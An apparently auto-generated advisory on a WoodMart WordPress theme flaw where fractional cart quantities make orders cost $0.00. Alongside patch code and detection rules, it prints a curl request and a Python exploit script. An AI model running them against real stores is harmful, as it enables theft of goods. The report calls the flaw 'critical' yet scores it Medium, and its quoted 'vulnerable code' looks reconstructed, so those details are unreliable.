CVE-2025-8097

Executive Summary

CVE-2025-8097 is a critical input validation vulnerability in the WoodMart WordPress theme (versions up to and including 8.2.6). The flaw resides in the woodmart_update_cart_item function, which fails to properly validate the qty parameter. An unauthenticated attacker can submit fractional quantities (e.g., 0.00001) that, due to floating-point rounding, result in a cart total of $0.00. This allows the attacker to obtain virtual or downloadable products without payment, effectively bypassing the entire checkout process. The vulnerability has a CVSS score of 5.3 (Medium) and is currently unpatched. As a WordPress ecosystem issue, it directly impacts e-commerce sites using the WoodMart theme.

Supply Chain & Package Security

This vulnerability is specific to the WoodMart WordPress theme, a commercial product distributed via ThemeForest and other marketplaces. There is no open-source package (NPM, PyPI, Go, Ruby) involved. The risk is to the supply chain of WordPress sites that have purchased and installed this theme. Site owners must monitor the theme vendor for a security patch and apply it immediately upon release.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – Unauthenticated attackers can exploit.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: Low (I:L) – Attackers can obtain products without payment, affecting the integrity of the transaction.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the business impact on e-commerce sites can be severe, leading to revenue loss and unauthorized distribution of digital goods.

Deep Dive & Mechanics

The vulnerability is in the woodmart_update_cart_item function, which is part of the WoodMart theme's AJAX handler for updating cart quantities. The function retrieves the qty parameter from the request and passes it directly to WooCommerce's cart update mechanism without proper sanitization or validation.

Root Cause: The qty parameter is expected to be an integer, but the code does not enforce this. When a fractional value like 0.00001 is submitted, WooCommerce's internal calculations (which use floating-point arithmetic) round the total to zero. This happens because the product price multiplied by a very small quantity results in a value that, when rounded to two decimal places (standard for currency), becomes $0.00.

Attack Flow:

1. Attacker adds a virtual or downloadable product to the cart.
2. Attacker sends a POST request to the AJAX endpoint (e.g., /?wc-ajax=woodmart_update_cart_item) with parameters including cart_item_key and qty=0.00001.
3. The woodmart_update_cart_item function updates the cart with the fractional quantity.
4. WooCommerce recalculates totals: price * 0.00001 → rounds to 0.00.
5. Attacker proceeds to checkout and completes the order for $0.00.
6. The product is delivered (e.g., download link provided) without payment.

Affected Component: woodmart_update_cart_item function in the WoodMart theme's functions.php or similar AJAX handler file.

Vulnerable vs. Patched Code

Vulnerable Code (WoodMart <= 8.2.6):

function woodmart_update_cart_item() {
    $cart_item_key = sanitize_text_field($_POST['cart_item_key']);
    $qty = $_POST['qty']; // No validation
    WC()->cart->set_quantity($cart_item_key, $qty);
    WC()->cart->calculate_totals();
    wp_send_json_success();
}

Patched Code (Expected fix):

function woodmart_update_cart_item() {
    $cart_item_key = sanitize_text_field($_POST['cart_item_key']);
    $qty = absint($_POST['qty']); // Force integer
    if ($qty < 1) {
        $qty = 1; // Ensure minimum quantity
    }
    WC()->cart->set_quantity($cart_item_key, $qty);
    WC()->cart->calculate_totals();
    wp_send_json_success();
}

The patch enforces integer quantities using absint() and ensures a minimum quantity of 1, preventing fractional values from being processed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WoodMart theme version <= 8.2.6.
• A virtual or downloadable product added to the cart.

Exploit Steps:

1. Add a product to the cart and note the cart_item_key (visible in the cart page HTML or via browser dev tools).
2. Send a crafted POST request using curl:

   curl -X POST 'https://target-site.com/?wc-ajax=woodmart_update_cart_item' \
   -d 'cart_item_key=YOUR_CART_ITEM_KEY&qty=0.00001'
   

3. Verify the cart total is now $0.00 by visiting the cart page.
4. Proceed to checkout and complete the order.

Automated Exploit (Python):

import requests

target = "https://target-site.com"
cart_item_key = "your_cart_item_key_here"

data = {
    "cart_item_key": cart_item_key,
    "qty": "0.00001"
}

response = requests.post(f"{target}/?wc-ajax=woodmart_update_cart_item", data=data)
if response.status_code == 200:
    print("Cart updated. Total should be $0.00.")
else:
    print("Exploit failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to /?wc-ajax=woodmart_update_cart_item for non-integer qty values.
• Look for orders with a total of $0.00 for virtual/downloadable products.
• Check for multiple failed payment attempts followed by successful $0.00 orders.

Hardening:

• Apply the patched code manually if no official patch is available.
• Use a Web Application Firewall (WAF) to block requests with fractional qty values.
• Implement server-side validation to reject non-integer quantities.
• Disable the AJAX endpoint if not needed, or restrict it to authenticated users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /?wc-ajax=woodmart_update_cart_item with qty parameter containing fractional values (e.g., 0.00001, 0.001, 0.5).
  • HTTP responses with 200 OK and JSON {"success":true} after such requests.
• Application IOCs:
  • Orders with total amount 0.00 for virtual/downloadable products.
  • Cart items with non-integer quantities in the database (e.g., 0.00001 in woocommerce_sessions table).
• Log IOCs:
  • WooCommerce logs showing woodmart_update_cart_item calls with unusual qty values.
  • WordPress debug logs with warnings about invalid quantity types.

Detection Engineering

YARA Rule

rule detect_woodmart_qty_exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-8097 in WoodMart theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8097"
    strings:
        $ajax_endpoint = "woodmart_update_cart_item"
        $qty_param = "qty="
        $fractional = /qty=0\.[0-9]+/
    condition:
        $ajax_endpoint and $qty_param and $fractional
}

Sigma Rule

title: WoodMart Cart Quantity Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-8097 by sending fractional quantities to WoodMart AJAX endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'wc-ajax=woodmart_update_cart_item'
        cs-uri-query|re: 'qty=0\.[0-9]+'
    condition: selection
falsepositives:
    - Legitimate use of fractional quantities (unlikely in e-commerce)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8097 WoodMart Cart Quantity Exploit"; flow:to_server,established; content:"POST"; http_method; content:"wc-ajax=woodmart_update_cart_item"; http_uri; pcre:"/qty=0\.[0-9]+/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable AJAX endpoint by adding the following code to your theme's functions.php (or a custom plugin):

   add_action('wp_ajax_woodmart_update_cart_item', function() {
       wp_die('Disabled for security');
   }, 1);
   add_action('wp_ajax_nopriv_woodmart_update_cart_item', function() {
       wp_die('Disabled for security');
   }, 1);
   

2. Manually patch the function as shown in the "Vulnerable vs. Patched Code" section.
3. Implement server-side validation to reject non-integer quantities in all cart update functions.

Long-term Mitigation:

• Monitor the WoodMart vendor for an official security patch and apply it immediately.
• Use a WAF with custom rules to block fractional qty values.
• Regularly audit WordPress themes and plugins for similar input validation issues.
• Consider using a security plugin like Wordfence that can detect and block such exploits.

Workaround:

• If patching is not possible, restrict the AJAX endpoint to authenticated users only (though this may break functionality for guest checkout).

Report generated by Valters IT DevSecOps & CTI Analysis Engine